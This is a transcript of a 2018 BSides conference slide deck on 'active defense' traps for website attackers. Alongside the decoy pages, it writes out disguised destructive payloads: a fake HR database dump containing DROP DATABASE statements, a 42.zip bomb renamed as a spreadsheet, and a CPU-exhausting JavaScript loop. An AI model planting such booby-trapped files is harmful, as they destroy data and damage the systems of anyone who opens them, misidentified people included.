BSides Cleveland - June 23, 2018
Matt Scheurer
@c3rkah
Slides:
https://www.slideshare.net/cerkah
Active Defense
Helping Threat Actors Hack Themselves!
About Me
Matt Scheurer
Systems Security Engineer in the Financial Services Industry
Chair for the CiNPA Security SIG
Speaker at: DerbyCon 5.0, DerbyCon 7.0, the 10th
Annual NKU
Cyber Security Symposium, BSides Indianapolis 2018, BSides
Columbus 5.0, BSides Cincinnati 2018, the 11th
Annual Central
Ohio InfoSec Summit, and Circle City Con 5.0
Certifications: CompTIA Security+, MCP, MCPS, MCTS,
MCSA, MCITP, and next is CCNA Cyber Ops!
Yes, I have a day job. However...Yes, I have a day job. However...
Opinions expressed
are solely my own and
do not express the
views or opinions of
my employer.
Legal DisclaimerLegal Disclaimer
The material presented is made
available for informational and
educational purposes only. Use
of these tools and techniques is
at your own risk! The presenter
hereby disclaims any and all
liability to any party for any
direct, indirect, implied, punitive,
special, incidental or other
consequential damages arising
directly or indirectly from any
use of these materials, which
are provided as is, and without
warranties.
What is Active Defense?What is Active Defense?
Active defense can refer to a defensive strategy in the
military or cybersecurity arena. The Department of
Defense defines active defense as: "The employment of
limited offensive action and counterattacks to deny a
contested area or position to the enemy.” In the
cybersecurity arena, active defense may mean
"asymmetric defenses," namely defenses that increase
costs to cyber-adversaries by reducing costs to cyber-
defenders.
● Source: https://en.wikipedia.org/wiki/Active_Defense
Why Active Defense?Why Active Defense?
1.Because “Hacking Back” is illegal!
2.Active Defense is the next level
beyond honeypots, honeyfiles, and
honeynets
Our ObjectivesOur Objectives
1.Shield and protect legitimate users at all times!
● Be diligent about protecting innocent site visitors...
2.Frustrate malicious threat actors attempting to
steal and ex-filtrate data through unauthorized
access
● Preferably by unwittingly hacking themselves...
3.See Objective #1!
Presentation FocusPresentation Focus
● Active Defense for a website
● Baiting and setting traps for script kiddies and
other cyber criminals
InspirationsInspirations
● Aikido
– Using an opponents energy / force against them
● My Father
– Junk mail counter-strikes
● Nature
– Animal Defenses
● Nostalgia
– Everything old is new again...
● Security Minded
– Yet a prankster at heart <3
● Vigilante Nature
– Love seeing the bad guys getting what they deserve!
Conventions UsedConventions Used
Hot Water Index:
● Escalating
thermometer
temperature indicates
the greater potential
of getting reported for
hosting malicious
content
Protecting Legitimate UsersProtecting Legitimate Users
● Create a “robots.txt” file
● Create a Sitemap XML file
● Do not link to Active Defense Content
– Use a link / hyperlink checker to verify
● Disable directory indexing on legitimate content
● Potentially protecting yourself by making use of
authorized user only messages
“robots.txt” files“robots.txt” files
Reference: http://www.robotstxt.org/
Example
Sitemap: https://cybernnati.com/sitemap.xml
User-agent: *
Disallow: /cgi-bin/
Disallow: /complex/ # Company Confidential Information
Disallow: /docs/ # Company Confidential Information
Disallow: /org/ # Company Confidential Information
Disallow: /protected/ # Company Confidential Information
Disallow: /webmaster/ # Company Confidential Information
Disallow: /wp-admin/ # WordPress Administration Files
Disallow: /wp-content/ # WordPress CMS Files
Disallow: /wp-includes/ # WordPress CMS Files
Sitemap XML filesSitemap XML files
Reference: https://www.sitemaps.org/protocol.html
Example
<?xml version="1.0" encoding="utf-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.
9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
<loc>http://www.cybernnati.com/</loc>
</url>
</urlset>
Directory IndexesDirectory Indexes
As a matter of good web security, disable directory Indexing on all
legitimate web content!
● The lone exception for this is with our Active Defense content
– This will help ensure that those purposely ignoring the
borders and confines defined in our robots.txt and
sitemap.xml files find our Active Defense content
Authorized Users OnlyAuthorized Users Only
Example (README.txt or README.html):
-------------
W A R N I N G
-------------
THIS IS A PRIVATE AREA OF THIS WEBSITE.
This website including all related data and
information are provided only for authorized use.
All connections and activity may be monitored for
all lawful purposes, including to ensure that their
use is authorized, for management of the system,
to facilitate protection against unauthorized
access, and to verify security procedures,
survivability and operational security.
Monitoring includes active attacks by authorized
personnel and their entities to test or verify the security
of the system. During monitoring, information may be
examined, recorded, copied and used for authorized
purposes.
All information including personal information, placed
on or sent over this system may be monitored. Uses of
this system, authorized or unauthorized, constitutes
consent to monitoring of this system.
Unauthorized use is prohibited! Unauthorized use may
subject you to criminal prosecution. Evidence of any
such unauthorized use collected during monitoring may
be used for administrative, criminal or other adverse
action. Use of this system constitutes consent to
monitoring for these purposes.
The Roundtrip RoundkickThe Roundtrip Roundkick
Hot Water Index
● Create a bunch of unused DNS sub-domain
host records pointing back to 127.0.0.1
● The harder the attackers try to hit you at these
sub-domains, the harder they are actually
hitting themselves
Subdomain ExamplesSubdomain Examples
●
api
●
app
●
bbs
●
blog
●
cloud
●
dev
●
email
●
forum
●
ftp
●
host
●
m
●
mail
●
mailserver
●
mx
●
ns
●
ns1
●
ns2
●
owa
●
pop
●
portal
●
remote
●
secure
●
server
●
shop
●
smtp
●
support
●
test
●
vpn
●
web
●
webmail
●
autodiscover
●
wordpress
Stomachvivor / Gross OutStomachvivor / Gross Out
● Stage an unreferenced folder with a fake door
badge ID template
– NOTE: Not too similar to one’s you actually use!
● Place “gross-out” pictures of choice disguised
as staff photo headshots
Phony Photo IDsPhony Photo IDs
/complex/buildings/access/2017_headshots/
Guthrie_Ricky.jpeg
/complex/buildings/access/
Door_Badge_ID_Template.jpg
Reflector MadnessReflector Madness
● Create an easy to crack password protected
folder
● What’s waiting inside is not something threat
actors will expect...
Can you guess my credentials?Can you guess my credentials?
.htaccess file:
AuthType Basic
AuthName "protected"
AuthUserFile
"/home2/<SNIP>/.htpas
swds/public_html/protec
ted/passwd"
require valid-user
● HINT: It’s possibly one of the worst
username and password
combinations you could have on a
network device
Reward for cracking the login is?Reward for cracking the login is?
● Probably this… ● But maybe this!
Inside the source codeInside the source code
● A no borders iFrame pointing back to the loopback address...
– If an attacker is running a web server locally on their system then they may
potentially attack themselves
<!DOCTYPE html>
<html dir="ltr" lang="en-us">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>CyberNnati</title>
</head>
<body style="margin: 0px; padding: 0px; overflow: hidden">
<div>
<iframe src="http://127.0.0.1/" style="position: absolute; width: 100%; height: 100%; border: none">
</iframe>
</div>
</body>
</html>
Going Nowhere Fast!Going Nowhere Fast!
● WordPress is by far the most deployed CMS in
the World powering countless web sites
● Consequently the WordPress login page is one
the most targeted for brute force attacks by
malicious threat actors
Try Guessing my Credentials Now?Try Guessing my Credentials Now?
This is a live
“wp-login.php”
page:
What went wrong?What went wrong?
The web page you just saw was a completely
fabricated WordPress login page. And there is
absolutely no real username or password. The
goal is to have brute force attackers spin their
wheels thus wasting their time, energy, and
resources!
This is further sold by planting the appropriate
folder structure and default files that give away a
site as a WordPress site.
Pi to the FacePi to the Face
● There is quite a bit to unpack for this Active Defense strategy...
– From disinformation, to wasting attackers time, to potentially
getting them banned from larger service providers, to
burning their CPU cycles and draining batteries
● We start by using the enterprising cyber criminals own
CryptoJacking techniques against them...
The Setup...The Setup...
● Have a “webmaster” folder containing a
fictitious “bookmarks.html” file
● Stage non-existent login account links for
popular sites and services an attacker might
waste time attempting to brute force
– Hopefully they trip whatever alert thresholds these
service providers may have in place resulting in a
ban or being reported to a threat intelligence feed!
● Behind the scenes we are computationally
calculating Pi hundreds of thousands of times
– Wash, rinse, repeat!
Inside “bookmarks.html”Inside “bookmarks.html”
Facebook:
https://www.facebook.com/login.php?email=webmaster@cybernnati.com
Google:
https://mail.google.com/mail/u/?authuser=webmaster@cybernnati.com
LinkedIn:
https://www.linkedin.com/uas/login?email=webmaster@cybernnati.com
Microsoft LiveID:
https://login.live.com/login.srf?email=webmaster@cybernnati.com
Twitter:
https://twitter.com/login?username_or_email=webmaster@cybernnati.com
Yahoo:
https://login.yahoo.com/config/login?username=webmaster@cybernnati.com
Source CodeSource Code
bookmarks.html
Inside the <head> and </head>
tags:
<meta http-equiv="refresh"
content="3.14">
Right before the </body> and
</html> tags:
<script
src="./scripts/includes.js"></scr
ipt>
<script
src="./scripts/pinapall.js"></scri
pt>
includes.js / pinapall.js
var pinapall=0;
var zzz=1;
var enumeration=314159265;
for (i=0;i<=enumeration;i++)
{
pinapall=pinapall+(4/zzz)-(4/
(zzz+2))
zzz=zzz+4
}
CPU Impacts to AttackersCPU Impacts to Attackers
● On a low powered system or dual-core VM this
can spike the CPU up to 100%
● On a moderately powered system this may
spike the CPU up to 50%
– If they are already running a heavy CPU load then
this will effectively spike the CPU all the way
– Not uncommon with Java based tools like Burp
● Heavy CPU loads will drain batteries on mobile
devices, including laptops, at a notably
accelerated rate
The Wrong AnswerThe Wrong Answer
● Ever have to recover a system with a 100% full disk drive?
● Stage a file with an enticing name inside of an unreferenced
folder such as: /docs/hr/employee_salary_history.xlsx.zip
● Which is really just a renamed version of the infamous “42.zip”
file!
What is “42.zip”?What is “42.zip”?
42.zip is an approximately 42kb compressed zip
file. Fully uncompressed the extracted files
expand out to upwards of 4.2 Petabytes of data!
● Most data thieving cyber criminals won’t have a
hard drive that large… :)
Bobby DropkickBobby Dropkick
Cartoon From:
https://xkcd.com/327/
Titled: “Exploits of a Mom”
The SetupThe Setup
● Stage a fake employee database dump file
inside of an unreferenced folder:
i.e., /org/departments/human_resources/
● Give the file an enticing name such as:
2017-12-05_hris_employee_mysql_db_backup.zip
- OR -
2017-12-05_hris_employee_mysql_db_backup.sql
What Else is Inside?What Else is Inside?
Just a little SQL code to permanently wipe out the
MySQL internal databases...
DROP DATABASE mysql;
DROP DATABASE sys;
DROP DATABASE performance_schema;
DROP DATABASE information_schema;
If you thought recovering from a full disk situation was a hassle… :)
Alternative Active Defense OptionsAlternative Active Defense Options
https://www.blackhillsinfosec.com/projects/adhd/
SEC550: Active Defense, Offensive
Countermeasures and Cyber Deception
https://www.sans.org/course/active-
defense-offensive-countermeasures-
and-cyber-deception
Criticisms, I’ve received a few...Criticisms, I’ve received a few...
● You should make the “Reflector Madness” login
harder to crack
– You’re in control...
– Make it as simple or difficult to defeat as you like!
● This would make a legitimate penetration test
more difficult
– Have good documentation prepared in advance for
white box or gray box engagements
– An advance explanation of your robots.txt and
sitemap should provide guidance
Other expressed concerns...Other expressed concerns...
● “We’re not going to implement this, it might really tick off some
skilled attackers and vindictive types!”
– Malicious threat actors are mostly undeterred today
● They do not fear retribution for their actions
● That is why they keep compromising vulnerable systems
– The fact that Brian Krebs is still alive today is a testament to
not living in fear of what might happen
● Krebs adversaries ultimately respect him more for
continuing his work
● Still not convinced in implementing Active Defense strategies?
– Then simply don’t implement them!
QuestionsQuestions
Who ...
What ...
When ...
Where ...
Why ...
How ...
BSides Cleveland - June 23, 2018
Matt Scheurer
@c3rkah
Slides:
https://www.slideshare.net/cerkah
Thank you for attending!

More Related Content

ODP
OISF Aniversary: Active Defense - Helping threat actors hack themselves!
ODP
NKU Cybersecurity Symposium: Active Defense - Helping threat actors hack them...
ODP
BSides Cincy: Active Defense - Helping threat actors hack themselves!
ODP
BSides Columbus: Active Defense - Helping threat actors hack themselves!
KEY
Introduction to web security @ confess 2012
PPT
Django (Web Applications that are Secure by Default)
PPTX
Bsidesnova- Pentesting Methodology - Making bits less complicated
PDF
Attacking AWS: the full cyber kill chain
OISF Aniversary: Active Defense - Helping threat actors hack themselves!
NKU Cybersecurity Symposium: Active Defense - Helping threat actors hack them...
BSides Cincy: Active Defense - Helping threat actors hack themselves!
BSides Columbus: Active Defense - Helping threat actors hack themselves!
Introduction to web security @ confess 2012
Django (Web Applications that are Secure by Default)
Bsidesnova- Pentesting Methodology - Making bits less complicated
Attacking AWS: the full cyber kill chain

What's hot (20)

PDF
Modern Web Application Defense
PDF
Introduction to Web Application Security - Blackhoodie US 2018
PDF
Web Security - Introduction v.1.3
PDF
Java EE 6 Security in practice with GlassFish
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
PDF
Protecting Java EE Web Apps with Secure HTTP Headers
PPTX
Java script, security and you - Tri-Cities Javascript Developers Group
PDF
Web Security - Introduction
PDF
Secrets of Google VRP by: Krzysztof Kotowicz, Google Security Team
PDF
When Ajax Attacks! Web application security fundamentals
PPTX
Phu appsec13
PDF
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
PDF
Defeating Cross-Site Scripting with Content Security Policy (updated)
PDF
HTTP Security Headers Every Java Developer Must Know
PDF
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
PDF
Building & Hacking Modern iOS Apps
PDF
Wi-Fi Hotspot Attacks
PPTX
Information on Brute Force Attack
ODP
Csrf not-all-defenses-are-created-equal
PPT
Xss is more than a simple threat
Modern Web Application Defense
Introduction to Web Application Security - Blackhoodie US 2018
Web Security - Introduction v.1.3
Java EE 6 Security in practice with GlassFish
Case Study of Django: Web Frameworks that are Secure by Default
Protecting Java EE Web Apps with Secure HTTP Headers
Java script, security and you - Tri-Cities Javascript Developers Group
Web Security - Introduction
Secrets of Google VRP by: Krzysztof Kotowicz, Google Security Team
When Ajax Attacks! Web application security fundamentals
Phu appsec13
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
Defeating Cross-Site Scripting with Content Security Policy (updated)
HTTP Security Headers Every Java Developer Must Know
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Building & Hacking Modern iOS Apps
Wi-Fi Hotspot Attacks
Information on Brute Force Attack
Csrf not-all-defenses-are-created-equal
Xss is more than a simple threat

Similar to BSides Cleveland: Active Defense - Helping threat actors hack themselves! (20)

PPT
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
PDF
OSINT for Attack and Defense
PPTX
Implementing security for your library | PLAN Tech Day Conference
PDF
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
PPT
BSidesJXN 2016: Finding a Company's BreakPoint
PPT
BSides Philly Finding a Company's BreakPoint
PDF
PENETRATION TESTING FROM A HOT TUB TIME MACHINE
PDF
Tietoturvallisuuden_kevatseminaari_2013_Jarno_Niemela
PPTX
Mining attackers mind
PPT
How hackers attack networks
PPT
Hacking 1224807880385377-9
PDF
Wrangle Your Defense Using Offensive Tactics - ISSA May Meeting
PPT
Event - Internet Thailand - Total Security Perimeters
PPTX
Blitzing with your defense bea con
PDF
Attacker Ghost Stories - ShmooCon 2014
PPTX
You Spent All That Money And Still Got Owned
PPTX
Offence oriented Defence
PPTX
Thoughts on Defensive Development for Sitecore
PPTX
Corp Web Risks and Concerns
PPT
Network Security Attacks, and Solutions.
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
OSINT for Attack and Defense
Implementing security for your library | PLAN Tech Day Conference
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
BSidesJXN 2016: Finding a Company's BreakPoint
BSides Philly Finding a Company's BreakPoint
PENETRATION TESTING FROM A HOT TUB TIME MACHINE
Tietoturvallisuuden_kevatseminaari_2013_Jarno_Niemela
Mining attackers mind
How hackers attack networks
Hacking 1224807880385377-9
Wrangle Your Defense Using Offensive Tactics - ISSA May Meeting
Event - Internet Thailand - Total Security Perimeters
Blitzing with your defense bea con
Attacker Ghost Stories - ShmooCon 2014
You Spent All That Money And Still Got Owned
Offence oriented Defence
Thoughts on Defensive Development for Sitecore
Corp Web Risks and Concerns
Network Security Attacks, and Solutions.

More from ThreatReel Podcast (20)

PDF
CONHESI 2021 - Exploiting Web APIs
PDF
SecureWV: Exploiting Web APIs
PDF
BSides Columbus - Lend me your IR's!
PDF
PwnSchool: Exploiting Web APIs
PDF
CiNPA Security SIG - Exploiting the Tiredful API
PDF
CCC - Lend me your IR's
PDF
DMA - Stupid Cyber Criminal Tricks
PDF
ISC2: AppSec & OWASP Primer
PDF
OISF - Continuous Skills Improvement for Everyone
PDF
Central Ohio InfoSec Summit: Why Script Kiddies Succeed
PDF
AppSec & OWASP Top 10 Primer
PDF
OISC 2019 - The OWASP Top 10 & AppSec Primer
ODP
Butler Tech - Working in IT and InfoSec
ODP
CiNPA Security SIG - Physical Security
ODP
CiNPA / CiNPA Security SIG History
ODP
BSides Cleveland: Phishing Forensics - Is it just suspicious or is it malicious?
ODP
Circle City Con: Phishing Forensics - Is it just suspicious or is it malicious?
ODP
ISSA COISS: : Phishing Forensics - Is it just suspicious or is it malicious?
ODP
OISF - AppSec Presentation
ODP
BSides Indianapolis: Phishing Forensics - Is it just suspicious or is it mali...
CONHESI 2021 - Exploiting Web APIs
SecureWV: Exploiting Web APIs
BSides Columbus - Lend me your IR's!
PwnSchool: Exploiting Web APIs
CiNPA Security SIG - Exploiting the Tiredful API
CCC - Lend me your IR's
DMA - Stupid Cyber Criminal Tricks
ISC2: AppSec & OWASP Primer
OISF - Continuous Skills Improvement for Everyone
Central Ohio InfoSec Summit: Why Script Kiddies Succeed
AppSec & OWASP Top 10 Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
Butler Tech - Working in IT and InfoSec
CiNPA Security SIG - Physical Security
CiNPA / CiNPA Security SIG History
BSides Cleveland: Phishing Forensics - Is it just suspicious or is it malicious?
Circle City Con: Phishing Forensics - Is it just suspicious or is it malicious?
ISSA COISS: : Phishing Forensics - Is it just suspicious or is it malicious?
OISF - AppSec Presentation
BSides Indianapolis: Phishing Forensics - Is it just suspicious or is it mali...

Recently uploaded (20)

PPTX
Basic_of_Computer_System.pptx class-8 com
PDF
B2B Marketing mba class material for study
PPTX
Chapter 1_Overview hhhhhhhhhhhhhhhhhhhhhhhhhh
DOCX
Audio to Video AI Technology Revolutiona
PDF
Toolkit of the MultiCloud DevOps Professional.pdf
PDF
Technical SEO Explained: How To Make Your Website Search-Friendly
PPT
Comparison of 2 Population Kuch toh bhadwa chodi karwa raha
PDF
Cybersecurity: Understanding Threats, Attacks, and Protective Measures in the...
PPTX
REE IN CARBONATITE EEPOSIT AND INCLUDE CASE STUDY ON AMBADUNGAR
PPTX
日本横滨国立大学毕业证书文凭定制YNU成绩单硕士文凭学历认证
PPTX
DAY 1 - Introduction to Git.pptxttttttttttttttttttttttttttttt
PPTX
Introduction to networking local area networking
PPTX
c_languagew_structure_and_functions.pptx
PDF
AGENT SLOT TERPERCAYA INDONESIA – MAIN MUDAH, WD CEPAT, HANYA DI KANCA4D
PPT
Expect The Impossiblesssssssssssssss.ppt
PDF
Information Technology practical assignment
PPTX
Going_to_Greece presentation Greek mythology
PDF
B450721.pdf American Journal of Multidisciplinary Research and Review
PDF
Lesson.-Reporting-and-Sharing-of-Findings.pdf
PPTX
IoT Lecture IoT Lecture IoT Lecture IoT Lecture
Basic_of_Computer_System.pptx class-8 com
B2B Marketing mba class material for study
Chapter 1_Overview hhhhhhhhhhhhhhhhhhhhhhhhhh
Audio to Video AI Technology Revolutiona
Toolkit of the MultiCloud DevOps Professional.pdf
Technical SEO Explained: How To Make Your Website Search-Friendly
Comparison of 2 Population Kuch toh bhadwa chodi karwa raha
Cybersecurity: Understanding Threats, Attacks, and Protective Measures in the...
REE IN CARBONATITE EEPOSIT AND INCLUDE CASE STUDY ON AMBADUNGAR
日本横滨国立大学毕业证书文凭定制YNU成绩单硕士文凭学历认证
DAY 1 - Introduction to Git.pptxttttttttttttttttttttttttttttt
Introduction to networking local area networking
c_languagew_structure_and_functions.pptx
AGENT SLOT TERPERCAYA INDONESIA – MAIN MUDAH, WD CEPAT, HANYA DI KANCA4D
Expect The Impossiblesssssssssssssss.ppt
Information Technology practical assignment
Going_to_Greece presentation Greek mythology
B450721.pdf American Journal of Multidisciplinary Research and Review
Lesson.-Reporting-and-Sharing-of-Findings.pdf
IoT Lecture IoT Lecture IoT Lecture IoT Lecture

BSides Cleveland: Active Defense - Helping threat actors hack themselves!

  • 1. BSides Cleveland - June 23, 2018 Matt Scheurer @c3rkah Slides: https://www.slideshare.net/cerkah Active Defense Helping Threat Actors Hack Themselves!
  • 2. About Me Matt Scheurer Systems Security Engineer in the Financial Services Industry Chair for the CiNPA Security SIG Speaker at: DerbyCon 5.0, DerbyCon 7.0, the 10th Annual NKU Cyber Security Symposium, BSides Indianapolis 2018, BSides Columbus 5.0, BSides Cincinnati 2018, the 11th Annual Central Ohio InfoSec Summit, and Circle City Con 5.0 Certifications: CompTIA Security+, MCP, MCPS, MCTS, MCSA, MCITP, and next is CCNA Cyber Ops!
  • 3. Yes, I have a day job. However...Yes, I have a day job. However... Opinions expressed are solely my own and do not express the views or opinions of my employer.
  • 4. Legal DisclaimerLegal Disclaimer The material presented is made available for informational and educational purposes only. Use of these tools and techniques is at your own risk! The presenter hereby disclaims any and all liability to any party for any direct, indirect, implied, punitive, special, incidental or other consequential damages arising directly or indirectly from any use of these materials, which are provided as is, and without warranties.
  • 5. What is Active Defense?What is Active Defense? Active defense can refer to a defensive strategy in the military or cybersecurity arena. The Department of Defense defines active defense as: "The employment of limited offensive action and counterattacks to deny a contested area or position to the enemy.” In the cybersecurity arena, active defense may mean "asymmetric defenses," namely defenses that increase costs to cyber-adversaries by reducing costs to cyber- defenders. ● Source: https://en.wikipedia.org/wiki/Active_Defense
  • 6. Why Active Defense?Why Active Defense? 1.Because “Hacking Back” is illegal! 2.Active Defense is the next level beyond honeypots, honeyfiles, and honeynets
  • 7. Our ObjectivesOur Objectives 1.Shield and protect legitimate users at all times! ● Be diligent about protecting innocent site visitors... 2.Frustrate malicious threat actors attempting to steal and ex-filtrate data through unauthorized access ● Preferably by unwittingly hacking themselves... 3.See Objective #1!
  • 8. Presentation FocusPresentation Focus ● Active Defense for a website ● Baiting and setting traps for script kiddies and other cyber criminals
  • 9. InspirationsInspirations ● Aikido – Using an opponents energy / force against them ● My Father – Junk mail counter-strikes ● Nature – Animal Defenses ● Nostalgia – Everything old is new again... ● Security Minded – Yet a prankster at heart <3 ● Vigilante Nature – Love seeing the bad guys getting what they deserve!
  • 10. Conventions UsedConventions Used Hot Water Index: ● Escalating thermometer temperature indicates the greater potential of getting reported for hosting malicious content
  • 11. Protecting Legitimate UsersProtecting Legitimate Users ● Create a “robots.txt” file ● Create a Sitemap XML file ● Do not link to Active Defense Content – Use a link / hyperlink checker to verify ● Disable directory indexing on legitimate content ● Potentially protecting yourself by making use of authorized user only messages
  • 12. “robots.txt” files“robots.txt” files Reference: http://www.robotstxt.org/ Example Sitemap: https://cybernnati.com/sitemap.xml User-agent: * Disallow: /cgi-bin/ Disallow: /complex/ # Company Confidential Information Disallow: /docs/ # Company Confidential Information Disallow: /org/ # Company Confidential Information Disallow: /protected/ # Company Confidential Information Disallow: /webmaster/ # Company Confidential Information Disallow: /wp-admin/ # WordPress Administration Files Disallow: /wp-content/ # WordPress CMS Files Disallow: /wp-includes/ # WordPress CMS Files
  • 13. Sitemap XML filesSitemap XML files Reference: https://www.sitemaps.org/protocol.html Example <?xml version="1.0" encoding="utf-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0. 9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> <url> <loc>http://www.cybernnati.com/</loc> </url> </urlset>
  • 14. Directory IndexesDirectory Indexes As a matter of good web security, disable directory Indexing on all legitimate web content! ● The lone exception for this is with our Active Defense content – This will help ensure that those purposely ignoring the borders and confines defined in our robots.txt and sitemap.xml files find our Active Defense content
  • 15. Authorized Users OnlyAuthorized Users Only Example (README.txt or README.html): ------------- W A R N I N G ------------- THIS IS A PRIVATE AREA OF THIS WEBSITE. This website including all related data and information are provided only for authorized use. All connections and activity may be monitored for all lawful purposes, including to ensure that their use is authorized, for management of the system, to facilitate protection against unauthorized access, and to verify security procedures, survivability and operational security. Monitoring includes active attacks by authorized personnel and their entities to test or verify the security of the system. During monitoring, information may be examined, recorded, copied and used for authorized purposes. All information including personal information, placed on or sent over this system may be monitored. Uses of this system, authorized or unauthorized, constitutes consent to monitoring of this system. Unauthorized use is prohibited! Unauthorized use may subject you to criminal prosecution. Evidence of any such unauthorized use collected during monitoring may be used for administrative, criminal or other adverse action. Use of this system constitutes consent to monitoring for these purposes.
  • 16. The Roundtrip RoundkickThe Roundtrip Roundkick Hot Water Index ● Create a bunch of unused DNS sub-domain host records pointing back to 127.0.0.1 ● The harder the attackers try to hit you at these sub-domains, the harder they are actually hitting themselves
  • 18. Stomachvivor / Gross OutStomachvivor / Gross Out ● Stage an unreferenced folder with a fake door badge ID template – NOTE: Not too similar to one’s you actually use! ● Place “gross-out” pictures of choice disguised as staff photo headshots
  • 19. Phony Photo IDsPhony Photo IDs /complex/buildings/access/2017_headshots/ Guthrie_Ricky.jpeg /complex/buildings/access/ Door_Badge_ID_Template.jpg
  • 20. Reflector MadnessReflector Madness ● Create an easy to crack password protected folder ● What’s waiting inside is not something threat actors will expect...
  • 21. Can you guess my credentials?Can you guess my credentials? .htaccess file: AuthType Basic AuthName "protected" AuthUserFile "/home2/<SNIP>/.htpas swds/public_html/protec ted/passwd" require valid-user ● HINT: It’s possibly one of the worst username and password combinations you could have on a network device
  • 22. Reward for cracking the login is?Reward for cracking the login is? ● Probably this… ● But maybe this!
  • 23. Inside the source codeInside the source code ● A no borders iFrame pointing back to the loopback address... – If an attacker is running a web server locally on their system then they may potentially attack themselves <!DOCTYPE html> <html dir="ltr" lang="en-us"> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <title>CyberNnati</title> </head> <body style="margin: 0px; padding: 0px; overflow: hidden"> <div> <iframe src="http://127.0.0.1/" style="position: absolute; width: 100%; height: 100%; border: none"> </iframe> </div> </body> </html>
  • 24. Going Nowhere Fast!Going Nowhere Fast! ● WordPress is by far the most deployed CMS in the World powering countless web sites ● Consequently the WordPress login page is one the most targeted for brute force attacks by malicious threat actors
  • 25. Try Guessing my Credentials Now?Try Guessing my Credentials Now? This is a live “wp-login.php” page:
  • 26. What went wrong?What went wrong? The web page you just saw was a completely fabricated WordPress login page. And there is absolutely no real username or password. The goal is to have brute force attackers spin their wheels thus wasting their time, energy, and resources! This is further sold by planting the appropriate folder structure and default files that give away a site as a WordPress site.
  • 27. Pi to the FacePi to the Face ● There is quite a bit to unpack for this Active Defense strategy... – From disinformation, to wasting attackers time, to potentially getting them banned from larger service providers, to burning their CPU cycles and draining batteries ● We start by using the enterprising cyber criminals own CryptoJacking techniques against them...
  • 28. The Setup...The Setup... ● Have a “webmaster” folder containing a fictitious “bookmarks.html” file ● Stage non-existent login account links for popular sites and services an attacker might waste time attempting to brute force – Hopefully they trip whatever alert thresholds these service providers may have in place resulting in a ban or being reported to a threat intelligence feed! ● Behind the scenes we are computationally calculating Pi hundreds of thousands of times – Wash, rinse, repeat!
  • 30. Source CodeSource Code bookmarks.html Inside the <head> and </head> tags: <meta http-equiv="refresh" content="3.14"> Right before the </body> and </html> tags: <script src="./scripts/includes.js"></scr ipt> <script src="./scripts/pinapall.js"></scri pt> includes.js / pinapall.js var pinapall=0; var zzz=1; var enumeration=314159265; for (i=0;i<=enumeration;i++) { pinapall=pinapall+(4/zzz)-(4/ (zzz+2)) zzz=zzz+4 }
  • 31. CPU Impacts to AttackersCPU Impacts to Attackers ● On a low powered system or dual-core VM this can spike the CPU up to 100% ● On a moderately powered system this may spike the CPU up to 50% – If they are already running a heavy CPU load then this will effectively spike the CPU all the way – Not uncommon with Java based tools like Burp ● Heavy CPU loads will drain batteries on mobile devices, including laptops, at a notably accelerated rate
  • 32. The Wrong AnswerThe Wrong Answer ● Ever have to recover a system with a 100% full disk drive? ● Stage a file with an enticing name inside of an unreferenced folder such as: /docs/hr/employee_salary_history.xlsx.zip ● Which is really just a renamed version of the infamous “42.zip” file!
  • 33. What is “42.zip”?What is “42.zip”? 42.zip is an approximately 42kb compressed zip file. Fully uncompressed the extracted files expand out to upwards of 4.2 Petabytes of data! ● Most data thieving cyber criminals won’t have a hard drive that large… :)
  • 34. Bobby DropkickBobby Dropkick Cartoon From: https://xkcd.com/327/ Titled: “Exploits of a Mom”
